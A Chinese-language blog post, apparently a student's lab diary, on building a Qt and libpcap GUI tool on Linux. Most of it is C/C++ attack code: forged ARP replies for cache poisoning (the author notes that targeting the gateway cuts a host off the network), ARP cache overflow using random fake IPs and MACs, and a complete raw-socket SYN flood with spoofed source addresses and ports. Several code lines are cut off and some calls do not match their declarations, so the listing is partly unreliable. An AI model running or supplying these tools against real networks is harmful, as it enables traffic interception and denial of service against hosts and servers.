写在前面:当你看到这篇文章的时候,我有可能已经完成了这个实训,这是边做边写的一个叙事流,或者是什么私心分享流)。
大书记官艾尔海森为你写诗:)
任务背景:
我使用的环境和基本配置:
环境:Windows11,Ubuntu 22.04LST,Kali 最新版(后面两个是Linux虚拟机,请百度安装)
编程语言:C++,C
可视化工具:QtCreator 5.12.12 (Ubuntu下)
编译器:gcc,g++
需要安装的库:libpcap
一些前置条件:
LIBS += -L/usr/local/lib -lpcap
QT+=network
首先,有没有人知道ARP是什么玩意呀?(눈_눈)
不知道的,先百度捏。不多说,先把它的基本包结构呈上,因为这个是我们编程的主要难点,不知道包结构的话,直接宣判了死亡。
这里一目了然(哼哼),包含以太网首部和ARP首部,以及我们可以控制的部分包括后面的部分:发送者硬件地址、发送者IP地址、目标硬件地址、目标IP地址。(图源)
说白了可以设计的部分包含这几个:
这些将会在后续的ARP攻击中成为关键字,也就是你的函数的入口参数。因为它们可以改呀。
太多字了,大家看完了就休息一会。所以,我看张帅哥不过分吧?(눈▂눈)
咳咳,接下来继续!
从0开始的Qt编程之旅(什么?什么梅?)
首先,打开你装好的QtCreator,创建Qt Widget项目,是包含可视化界面的,如果你不想要的话,就选console项目。Qt做为前置基础哦,不知道或者不熟悉的小火鸡们先去康康B站教程,或者直接硬刚,边搜边做(我就是)。
建立类文件,包含.h,.cpp的文件,类名避免重复!!!最好用arp_info或者arp_packet或者arp_party?用了一个arp_hrd命名之后不让我用了,真是怪事,应该是重名了。
这里我基本代码参考了一位佬的代码!有疑问的直接去看也没关系。
但是他用的其实是winpcap,呃,问题不大!我们也成功地能融合!(눈▽눈)(确信)
在此之前最好再有点关于libpcap的基本知识,比如pcap_t是啥?pcap_sendpacket()又是啥?pcap_open_live()又是啥?回调函数之类的...
欸欸,越说越远了,不会就搜,很快的。
我们在建好文件之后,最重要的是把ARP包建出来,根据那个图定义一个基本结构体,注意里面的数据类型,基本上不会变,但是其实可以用Qt自己的类型写一点,不过基本上是C多些,只要没有signal.h就不会和Qt冲突。关于signal.h冲突和bash文件间接调用C编译文件,我会在末尾写一下?
写在arp_info.h:
头文件
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
ARP的字段结构体如下:
#define EtherType 0x0806
#define HardWareType 0x0001
#define ProtocolType 0x0800
#define ARP_Response 0x0002
#define ARP_Request 0x0001
typedef struct tagARPFrame
{
unsigned short HW_Type;//硬件类型,2字节,填充0x0001
unsigned short Prot_Type;//协议的类型,2字节,填充0x0800
unsigned char HW_Addr_Len;//MAC地址长度,1字节
unsigned char Prot_Addr_Len;//IP地址长度,1字节
unsigned short Opcode;//操作码,2字节,0x0001为请求包,0x0002为应答包
unsigned char Send_HW_Addr[6];//发送方的MAC地址
unsigned char Send_Prot_Addr[4];//发送方的IP地址
unsigned char Targ_HW_Addr[6];//接受方的MAC地址
unsigned char Targ_Prot_Addr[4];//接收方的IP地址
unsigned char padding[18];// padding data -> all 0
} ARPFRAME, *PARPFRAME;
物理帧头
typedef struct tagDLCHeader
{
unsigned char DesMAC[6];//以太网目的mac地址
unsigned char SrcMAC[6];//以太网源目的mac地址
unsigned short Ethertype;//帧类型
} DLCHEADER, *PDLCHEADER;
以太网头+ARP头
typedef struct tagARPPacket
{
DLCHEADER dlcHeader; //以太网头部
ARPFRAME arpFrame;//arp头部
} ARPPACKET, *PARPPACKET;
声明两个主要函数: 发送ARP包、制造ARP包
class arp_info
{
public:
arp_info();
//构造函数我不使用 可以放着
void sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket);
ARPPACKET make_arp_packet(char* i_srcIP, char* i_desIP, char* i_srcMac, char* i_desMac,int i_opcode);
};
写在arp_info.cpp里:
发ARP包:pcap_t 是打开文件句柄使用,用于探测网络接口。后面那个是刚刚定义的ARP包结构体指针地址。fp传入获取的句柄,发送成功或者失败都会用qDebug()打印消息,最好用这个,不然用printf会累积在缓冲区,无法显示。
void arp_info::sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket)
{
//发包
if (pcap_sendpacket(fp, // Adapter
(const u_char *)&ARPPacket, // buffer with the packet
sizeof(ARPPacket) // size
) != 0)
{
qDebug()<
定义一个把MAC地址字符转成二进制字符数组的方法:strtoul
int mac_str_to_bin(char *str, char *mac)
{
int i;
char *s, *e;
if ((mac == nullptr) || (str == nullptr))
{
return -1;
}
s = (char *)str;
for (i = 0; i < 6; ++i)
{
mac[i] = s ? strtoul(s, &e, 16) : 0;
if (s)
s = (*e) ? e + 1 : e;
}
return 0;
}
我直接写了一个接口生成ARP包:
传入刚刚我们提到的重要关键字就能生成,普通发送传1,攻击使用2作为操作码。
ARPPACKET arp_info::make_arp_packet(char* i_srcIP, char* i_srcMac, char* i_desIP, char* i_desMac, int opCode)
{
ARPPACKET Arp_packet;
mac_str_to_bin(i_srcMac, (char*)Arp_packet.dlcHeader.SrcMAC);
mac_str_to_bin(i_desMac, (char*)Arp_packet.dlcHeader.DesMAC);
Arp_packet.dlcHeader.Ethertype = htons(EtherType);
Arp_packet.arpFrame.HW_Type = htons(HardWareType);
Arp_packet.arpFrame.Prot_Type = htons(ProtocolType);
Arp_packet.arpFrame.HW_Addr_Len = 6;
Arp_packet.arpFrame.Prot_Addr_Len = 4;
if(opCode == 1)
{
Arp_packet.arpFrame.Opcode = htons(ARP_Request);
arp_msg += QString("-----The arp packet is a Request packet.-----\n");
}
else{
Arp_packet.arpFrame.Opcode = htons(ARP_Response);
arp_msg += QString("-----The arp packet is a Response packet.-----\n");
}
//inet_pton() 将一个IP地址字符串转换为网络字节序(即大端序)的二进制IP地址表示 10->2
//ntohl() 网络字节序32bit->主机字节序32bit
// AF_INET ipv4 address family
inet_pton(AF_INET, i_srcIP, Arp_packet.arpFrame.Send_Prot_Addr);
inet_pton(AF_INET, i_desIP, Arp_packet.arpFrame.Targ_Prot_Addr);
mac_str_to_bin(i_srcMac, (char*)Arp_packet.arpFrame.Send_HW_Addr);
mac_str_to_bin(i_desMac, (char*)Arp_packet.arpFrame.Targ_HW_Addr);
qDebug()<<"send_mac_bin"<
编辑白板mainwindow.ui文件如下:
文本显示框textBrowser重命名为arpwin,按钮QPushButton为arp_msg。
在你的窗体文件mainwindow.cpp里面写:这里自己填充数值如下:(我乱写的,真实数据在终端使用"ifconfig-a"获取)
connect(ui->arp_msg,&QPushButton::clicked,[=]{
arp_packet ARP;
// To begin with: if you want to attack please edit the opCode as 2.
// the first and second items can be fake to attack the target host.
// the third and forth items must be known.
ARP.make_arp_packet("xx:xx:xx:xx:xx:xx","255.255.255.255","xx:xx:xx:xx:xx:xx","255.255.255.255");
// default send once.
ARP.send_arp_packet();
ui->arpwin->setPlainText(ARP.arp_msg);
});
这里的ARP.arp_msg可以加在后面用于统计数据或者日志!(什么创新点?)
然后我用这个攻击了一下我可怜的Kali,要联网!要联网!要联网!
注意一点:Linux不接受未请求的ARP回应,也就是说默认情况下,你单独发一个ARP回应包是不会被写入缓存表的,你要是看见了在里面那肯定是它自己写进去的,不是通过我们的手写进去的。
修改方式如下:(永久)
在 /etc/sysctl.conf文件里写net.ipv4.conf.all.arp_accept=1
然后终端执行 sudo sysctl -p
就能接收包并写入了!
效果如下:
第一条默认网关的
其中第二条是我Ubuntu的ARP包!可见成功了!下次用网关地址就可以实现断网。
加上循环发包!缓存表爆炸!
这回加上随机伪造IP和MAC用于ARP缓存表溢出攻击
std::string arp_info::Random_IP(int r)
{
qsrand(QTime(0,0,0).secsTo(QTime::currentTime())+r);
int start = 0;
int end = 256;
std::string res = "";
for (int i=0; i<4; ++i)
{
// random range [0,255]
int k= qrand() % end+start;
std::string temp = std::to_string(k);
res += temp;
if(i<3)
{
res += ".";
}
}
return res;
}
char* arp_info::Random_MAC(int r)
{
qsrand(QTime(0,0,0).secsTo(QTime::currentTime())+r);
int start = 0;
int end = 16;
for(int i = 0; i < 12; i++)
{
// random range [0,11],[a,f]
int k = start + qrand() % end;
temp_set[i] = Char_set[k];
}
int i = 0, j = 0;
for(i =0; i<12; i++, j++)
{
if(target_set[j]!=':')
{
target_set[j] = temp_set[i];
}
else
{
j++;
target_set[j] = temp_set[i];
}
}
return target_set;
}
后来还可以写一个SYN Flood类用于测试服务器压力,首先你要有一个服务器,不然啥也测不出来
Kali 配置默认的apache服务器,使用本地IP,端口是80,就可以了。
//SynFlood.h
#ifndef SYNFLOOD_H
#define SYNFLOOD_H
#include
#include // for socket
#include // for socket
#include // for sockaddr_in
#include // for tcp
#include // for ip
#include // for inet_
#include // for ifreq
#include // for memset
#include // for usleep
#include
#include
#include
class SynFlood
{
public:
explicit SynFlood();
virtual ~SynFlood();
QString syn_msg = "";
QList syn_table = {};
QString desip = "";
QString desport = "";
/*SynFlood初始化*/
int init(std::string ip_addr, int port);
/*SynFlood攻击*/
int attack(int flood_times);
protected:
/*初始化rawSocket*/
int initRawSocket();
/*初始化ip数据报*/
int initIpData();
private:
/*addrInfo*/
std::string ip_addr;
int port;
/*rawSocket*/
struct sockaddr_in addr; //地址结构体信息
int socket_fd; //socket
unsigned char ip_datagram[sizeof(struct ip) + sizeof(struct tcphdr)]; //ip数据报
unsigned int ip_datagram_len = sizeof(struct ip) + sizeof(struct tcphdr); //ip数据报长度
struct ip *ip_header; //ip首部指针
struct tcphdr *tcp_header; //tcp首部指针
};
#endif // SYNFLOOD_H
//SynFlood.cpp
#include "synflood.h"
u_int16_t check_sum(u_int16_t *buffer, int size);
SynFlood::SynFlood()
{
srandom(time(nullptr));
QDateTime dateTime;
dateTime = QDateTime::currentDateTime();
syn_msg = "--------SYN Flood Information--------\n";
syn_msg += dateTime.toString("yyyy-MM-dd hh:mm:ss\n");
}
SynFlood::~SynFlood()
{
ip_header = nullptr;
tcp_header = nullptr;
}
/*SynFlood初始化*/
int SynFlood::init(std::string ip_addr, int port)
{
// initiate the ip and port for object
this->ip_addr = ip_addr;
this->port = port;
desip = QString::fromStdString(ip_addr);
int res = initRawSocket();
if(res!=0){
return -1;
}
initIpData();
return 0;
}
/*初始化rawSocket*/
int SynFlood::initRawSocket()
{
// 创建对方地址信息
addr.sin_family = AF_INET;// ipv4 协议族
addr.sin_addr.s_addr = inet_addr(ip_addr.c_str());
addr.sin_port = htons(port);
// 创建原始套接字,TCP
socket_fd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if(socket_fd<0){
perror("socket:");
return -1;
}
qDebug() << "sock:" << socket_fd << endl;
syn_msg += QString("Already create a socket called:%1.\n").arg(socket_fd);
// 防止自动填充数据包
int on = 1;
int opt = setsockopt(socket_fd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
if(opt<0){
perror("opt:");
return -1;
}
return 0;
}
/*初始化ip数据报*/
int SynFlood::initIpData()
{
// 初始化ip数据报 ip_datagram(IP首部+TCP首部+TCP数据部分)
memset(&ip_datagram,0,sizeof(ip_datagram));
// qDebug()<< "ip_datagram size :" << ip_datagram_len << endl;
syn_msg += QString("Make a %1 size IP data packet.\n").arg(ip_datagram_len);
// 构建IP首部和TCP首部指针
ip_header = (struct ip *)ip_datagram;
tcp_header = (struct tcphdr *)(ip_datagram + sizeof(struct ip));//ip首部后面就是tcp报文段了
/*封装ip首部*/
// 版本 4
ip_header->ip_v = IPVERSION;
// 首部长度 4 右移 2 位(相当于除以 4)得到长度以 32 位字为单位的值
ip_header->ip_hl = sizeof(struct ip)>>2;
// 服务类型(types of service) 8
ip_header->ip_tos = 0;
// 总长度 16
//htons()将主机字节序转换为网络字节序
ip_header->ip_len = htons(ip_datagram_len);
// 标识 16
ip_header->ip_id = 0;
// 标志+偏移 16
ip_header->ip_off = 0;
// 生存时间 8
ip_header->ip_ttl = 0;
// 协议 8 TCP protocol --value==6
ip_header->ip_p = IPPROTO_TCP;
// 首部检验和 16
ip_header->ip_sum = 0;
// 源地址(可伪造) 32
//ip_header->ip_src.s_addr = inet_addr("127.0.0.1");
// sockaddr_in addr -->(sin_addr,sin_port)
// 目的地址 32 addr.sin_addr 中存储的是一个二进制形式的 IPv4 地址
ip_header->ip_dst = addr.sin_addr;
/*封装tcp首部*/
// 源端口 16 , 在syn攻击部分随机伪造端口
//tcp_header->source = htons(m_port);
// 目的端口 16
tcp_header->dest = addr.sin_port;
// 序号 32
tcp_header->seq = 0;
// 确认号 32
tcp_header->ack_seq = 0;
// 数据偏移 4
//tcp_header->res1 = 0;
// 保留 4
tcp_header->doff = 5; // 这里从wireshark来看是指的是数据偏移,resl和doff的位置反了,不知道是头文件有问题还是什么的,应该不是大小端问题。
//res2+urg+ack+psh+rst+syn+fin 8
//tcp_header->res2 = 0;
//tcp_header->urg = 0;
//tcp_header->ack = 0;
//tcp_header->psh = 0;
//tcp_header->rst = 0;
tcp_header->syn = 1;
//tcp_header->fin = 0;
// 窗口 16
//tcp_header->window = 0;
// 检验和 16
tcp_header->check = 0;
// 紧急指针 16
//tcp_header->urg_ptr = 0;
return 0;
}
/*syn攻击*/
int SynFlood::attack(int flood_times)
{
/*synFlood*/
for(int i = 0 ; i < flood_times ; i++){
// 伪造ip源地址
u_int32_t m_ip = random();
ip_header->ip_src.s_addr = htonl(m_ip);
// 伪造tcp源端口
tcp_header->source = htons(random());
// qDebug() << "Fake ip:" << inet_ntoa(ip_header->ip_src) << "Fake port:" << tcp_header->source << endl;
syn_msg += QString("Sender Host from:[%1],port:[%2]\n------sends a TCP packet for SYN to-----\nTarget Host from[%3],port[%4]\n")
.arg(inet_ntoa(ip_header->ip_src)).arg(tcp_header->source).arg(desip).arg(port);
QStringList temp = {QString("%1").arg(inet_ntoa(ip_header->ip_src)),QString("%1").arg(desip),QString("%1").arg(tcp_header->source),QString("%1").arg(port),QString("%1").arg(ip_datagram_len),"SYN"};
syn_table.append(temp);
// qDebug()<<"temp_syn_table"<ip_ttl = 0;
tcp_header->check = 0;
// ip首部的校验和,内核会自动计算,可先作为伪首部,存放tcp长度
ip_header->ip_sum = htons(sizeof(struct tcphdr));
// 计算tcp校验和,从伪首部开始
tcp_header->check = check_sum((u_int16_t *)ip_datagram+4,sizeof(ip_datagram)-8);
ip_header->ip_ttl = MAXTTL;
// 发送
int res = sendto(socket_fd,ip_datagram,ip_datagram_len,0,(sockaddr *)&addr,sizeof(struct sockaddr_in));
qDebug() << res << endl;
if(res<0){
perror("res");
return -1;
}
usleep(10000);
if(res>0)
{
syn_msg += QString("SYN Flood sends successfully!\n");
}
}
return 0;
}
u_int16_t check_sum(u_int16_t *buffer, int size)
{
//建议将变量放入寄存器, 提高处理效率.
register int len = size;
//16bit
register u_int16_t *p = buffer;
//32bit
register u_int32_t sum = 0;
//16bit求和
while( len >= 2)
{
sum += *(p++)&0x0000ffff;
len -= 2;
}
//最后的单字节直接求和
if( len == 1){
sum += *((u_int8_t *)p);
}
//高16bit与低16bit求和, 直到高16bit为0
while((sum&0xffff0000) != 0){
sum = (sum>>16) + (sum&0x0000ffff);
}
return (u_int16_t)(~sum);
}
最后的东西还得和界面结合,这只是我关于ARP的测试界面,后面的界面是这样的:
封面:(当初是按照神堕八岐大蛇的配色配的)
ipdump部分:
ARP部分:
实验版真好康(눈益눈)哈哈哈哈哈
变身!
还整了一个用来显示数据的表格
日志如下
QT表格代码截取,从网上爬下来的格式就挺多bug的,不过丢给ChatGPT好像改改就好了。
//QTable to output the data for arp attack
ui->tableWidget->setColumnCount(6);
ui->tableWidget->setFocusPolicy(Qt::NoFocus);
QStringList headerText = {"srcIP","desIP","srcMac","desMac","Length","Attack Type"};
ui->tableWidget->setHorizontalHeaderLabels(headerText);
ui->tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows); //设置选择行为时每次一行
ui->tableWidget->setEditTriggers(QAbstractItemView::NoEditTriggers); //设置表格内容不可编辑
ui->tableWidget->setStyleSheet("selection-background-color:rgb(208, 163, 246);"); //设置选中行的背景色
ui->tableWidget->horizontalHeader()->setDefaultAlignment(Qt::AlignCenter);// center align
ui->tableWidget->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);
ui->tableWidget->horizontalHeader()->setSectionResizeMode(3, QHeaderView::Fixed);
ui->tableWidget->setColumnWidth(3, 150);
ui->tableWidget->horizontalHeader()->setSectionResizeMode(2, QHeaderView::Fixed);
ui->tableWidget->setColumnWidth(2, 150);
ui->tableWidget->horizontalHeader()->setSectionResizeMode(0, QHeaderView::Fixed);
ui->tableWidget->setColumnWidth(0, 145);
ui->tableWidget->horizontalHeader()->setSectionResizeMode(1, QHeaderView::Fixed);
ui->tableWidget->setColumnWidth(1, 145);
QTableWidgetItem *item = new QTableWidgetItem("item");
//获取原有字体设置
QFont font = item->font();
//设置为粗体
font.setBold(true);
//字体大小
font.setPointSize(10);
//字体颜色
item->setTextColor("rgb(255, 255, 255)");
//设置字体
item->setFont(font);
// syn table data config
ui->syn_table->setColumnCount(6);
ui->syn_table->setFocusPolicy(Qt::NoFocus);
QStringList syn_header = {"srcIP","desIP","srcPort","desPort","Length","Attack Type"};
ui->syn_table->setHorizontalHeaderLabels(syn_header);
ui->syn_table->setSelectionBehavior(QAbstractItemView::SelectRows); //设置选择行为时每次一行
ui->syn_table->setEditTriggers(QAbstractItemView::NoEditTriggers); //设置表格内容不可编辑
ui->syn_table->setStyleSheet("selection-background-color:rgb(208, 163, 246);"); //设置选中行的背景色
ui->syn_table->horizontalHeader()->setDefaultAlignment(Qt::AlignCenter);// center align
ui->syn_table->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);
ui->syn_table->horizontalHeader()->setSectionResizeMode(3, QHeaderView::Fixed);
ui->syn_table->setColumnWidth(3, 150);
ui->syn_table->horizontalHeader()->setSectionResizeMode(2, QHeaderView::Fixed);
ui->syn_table->setColumnWidth(2, 150);
ui->syn_table->horizontalHeader()->setSectionResizeMode(0, QHeaderView::Fixed);
ui->syn_table->setColumnWidth(0, 145);
ui->syn_table->horizontalHeader()->setSectionResizeMode(1, QHeaderView::Fixed);
ui->syn_table->setColumnWidth(1, 145);
QTableWidgetItem *syn_item = new QTableWidgetItem("item");
//获取原有字体设置
QFont syn_font = syn_item->font();
//设置为粗体
syn_font.setBold(true);
//字体大小
syn_font .setPointSize(10);
//字体颜色
syn_item->setTextColor("rgb(255, 255, 255)");
//设置字体
syn_item->setFont(syn_font);
connect(ui->show_details,&QPushButton::clicked,[=]{
//show table details QList
// QStringList format:{{srcIP,desIp,srcMac,desMac,Length,AttackType},{}} one unit
// arp_table
if(!arp_table.isEmpty())
{
int rowCount = arp_table.size(); // 获取数据的行数
for(int i=0;i innerList = arp_table[i]; // 获取该行的QStringList
for(int j=0; jtableWidget->rowCount();
ui->tableWidget->insertRow(row);
QStringList temp = innerList[j];
// qDebug()<<"temp"<tableWidget->setItem(row, k, item); // 添加单元格到表格
}
}
}
}
if(!syn_table.isEmpty())
{
//syn_table
int syn_row = syn_table.size(); // 获取数据的行数
for(int i=0;i innerList = syn_table[i]; // 获取该行的QStringList
// qDebug()<<"arp_table[i]"<syn_table->rowCount();
ui->syn_table->insertRow(row);
QStringList temp = innerList[j];
// qDebug()<<"temp"<syn_table->setItem(row, k, item); // 添加单元格到表格
}
}
}
}
});
// multi row
connect(ui->table_clear,&QPushButton::clicked,[=]{
QList items = ui->tableWidget->selectedItems();
QSet rows;
foreach(QTableWidgetItem *item, items)
{
rows.insert(item->row());
}
// 从最后一行开始循环删除
foreach(int row, rows)
{
ui->tableWidget->removeRow(row);
}
QList syn_items = ui->syn_table->selectedItems();
QSet syn_rows;
foreach(QTableWidgetItem *item, syn_items)
{
syn_rows.insert(item->row());
}
// 从最后一行开始循环删除
foreach(int row, syn_rows)
{
ui->syn_table->removeRow(row);
}
});
//all clear
connect(ui->all_clear,&QPushButton::clicked,[=]{
int rowCount = ui->tableWidget->rowCount();
for (int i = rowCount - 1; i >= 0; i--) {
ui->tableWidget->removeRow(i);
}
int syn_row= ui->syn_table->rowCount();
for (int i = syn_row - 1; i >= 0; i--) {
ui->syn_table->removeRow(i);
}
});
关于bash的部分,还是说一下吧,因为呢C语言有些东西是嵌入不进去QT的,比如这个signal.h函数会和QT自己的信号函数定义重合,所以必然冲突,但是singal.h是用于接收键盘输入的信号,这里如何嵌入QT并模拟Ctrl+C中断效果?
那就要用到bash这个脚本,虽然这样写很野蛮,但是效果却还可以?!
这里的调用顺序大致是从Stop.sh->Run.sh->Test.exe->stest.sh->MYLOG.txt.
首先编译你的C文件,得到可执行程序,粘贴到building类似Debug里的文件夹,然后在里面写bash文件调用可执行程序。
Ctrl+C 原来我是用timeout来模拟,但是根本就不一样,人家是手动暂停,我这里自动了,那不对!要用一个进程号表示那个可执行程序的进程,然后用INT信号杀掉才对。
# !/bin/bash
PID=$(pgrep -f your_exe_name)
# echo "$PID"
kill -INT $PID
如果有人要用我的程序,请一定要看懂这些乱七八糟的bash文件是什么意思,不然就会觉得很难理解....或者根本不要用我的垃圾代码谢谢,因为超级多粗暴的处理方式和写法。
(눈益눈)(눈益눈)(눈益눈)(눈益눈)(눈益눈)
源码
终于结束力!可以玩原神和写英语了.....